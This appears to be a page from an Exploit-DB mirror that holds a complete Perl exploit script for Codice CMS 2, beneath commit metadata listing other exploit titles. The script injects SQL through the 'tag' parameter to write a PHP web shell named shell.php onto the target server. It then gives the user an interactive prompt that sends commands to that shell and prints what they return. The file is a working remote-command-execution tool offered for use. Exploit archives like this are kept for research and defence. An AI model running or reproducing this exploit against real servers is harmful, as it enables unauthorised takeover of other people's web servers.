exploit-db-mirror/platforms/php/webapps/8272.pl
Offensive Security 477bcbdcc0 DB: 2016-03-17
5 new exploits

phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit
phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities

My Book World Edition NAS Multiple Vulnerability
My Book World Edition NAS - Multiple Vulnerabilities

Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL
Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities

cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability
cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities

DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php)
DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities

Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability
Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities

N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability
N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities

New-CMS - Multiple Vulnerability
New-CMS - Multiple Vulnerabilities

Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability
Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities

JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability
JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities

i-Gallery - Multiple Vulnerability
i-Gallery - Multiple Vulnerabilities

My Kazaam Notes Management System Multiple Vulnerability
My Kazaam Notes Management System - Multiple Vulnerabilities

Omnidocs - Multiple Vulnerability
Omnidocs - Multiple Vulnerabilities

Web Cookbook Multiple Vulnerability
Web Cookbook - Multiple Vulnerabilities

KikChat - (LFI/RCE) Multiple Vulnerability
KikChat - (LFI/RCE) Multiple Vulnerabilities

Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability
Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability

xEpan 1.0.4 - Multiple Vulnerability
xEpan 1.0.4 - Multiple Vulnerabilities
AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection
Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow
Cisco UCS Manager 2.1(1b) - Shellshock Exploit
OpenSSH <= 7.2p1 - xauth Injection
FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
2016-03-17 07:07:56 +00:00

125 lines
3.1 KiB
Perl
Executable file

#--+++===========================================================+++--
#--+++====== Codice CMS 2 Remote Command Execution Exploit ======+++--
#--+++===========================================================+++--
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
sub banner
{
print "--+++===========================================================+++--\n".
"--+++====== Codice CMS 2 Remote Command Execution Exploit ======+++--\n".
"--+++===========================================================+++--\n\n";
}
sub usage
{
die "\n[+] Author : darkjoker".
"\n[+] Site : http://darkjoker.net23.net".
"\n[+] Download: http://freefr.dl.sourceforge.net/sourceforge/codice/codice-dev-prev.zip".
"\n[+] Usage : perl $0 <hostname> <path>".
"\n[+] Ex. : perl $0 localhost /codiceCMS".
"\n[+] 22-03-2009 Gigi D'Agostino allo Chalet, parco del Valentino, Torino!!".
"\n\n";
}
sub dec2hex
{
my $num = $_ [0];
my $hex = sprintf ("%x", $num);
return $hex;
}
sub hex_format
{
my $i = 0;
my $hex;
my @string = split '', $_ [0];
while ($i < scalar (@string))
{
$hex .= "%" . dec2hex (ord ($string [$i]));
$i++;
}
return $hex;
}
sub get_script_path
{
my ($hostname, $path) = @_;
my $sock = new IO::Socket::INET (
PeerHost => $hostname,
PeerPort => 80,
Proto => "tcp",
) or usage;
my $get = "GET ${path}/index.php?id HTTP/1.1\r\n".
"Host: ${hostname}\r\n".
"Connection: Close\r\n\r\n";
print $sock $get;
my $src_path;
while (<$sock>)
{
$src_path = $1 if ($_ =~ /resource in <b>(.+?)<\/b>/);
}
close ($sock);
return ($src_path) ? $src_path : 0;
}
sub create_shell
{
my ($hostname, $path, $query) = @_;
my $sock = new IO::Socket::INET (
PeerHost => $hostname,
PeerPort => 80,
Proto => "tcp",
) or usage;
my $get = "GET ${path}/index.php?tag=${query} HTTP/1.1\r\n".
"Host: ${hostname}\r\n".
"Connection: Close\r\n\r\n";
print $sock $get;
close ($sock);
}
banner ();
my ($hostname, $path) = @ARGV;
usage unless ($path);
my $shell_path = get_script_path ($hostname, $path);
$shell_path =~ s/index\.php$/shell\.php/;
my $query = 'x %\' UNION SELECT 1, \'<?php system (stripslashes($_GET[\\\'cmd\\\'])); ?>\', 3, 4, 5, 6, 7 INTO OUTFILE \''.$shell_path.'\' FROM cod_codice--';
$query = hex_format ($query);
create_shell ($hostname, $path, $query);
print "Remember to delete 'shell.php' before exit!\n";
while (1)
{
print "nobody\@${hostname} > ";
my $cmd = <STDIN>;
chomp $cmd;
die ("Good bye!\n") if $cmd =~ /^quit$/;
$cmd = hex_format ($cmd);
my $sock = new IO::Socket::INET (
PeerHost => $hostname,
PeerPort => 80,
Proto => "tcp",
);
my $req = "GET ${path}/shell.php?cmd=${cmd} HTTP/1.1\r\n".
"Host: ${hostname}\r\n".
"Connection: Close\r\n\r\n";
print $sock $req;
my $k;
while (<$sock>)
{
chomp $_;
$_ .= "newline";
$k .= $_;
}
$k =~ s/^.+1\t//;
$k =~ s/\t3.+$//;
$k = join ("\n", split ("newline", $k));
print $k . "\n";
close ($sock);
}
# milw0rm.com [2009-03-23]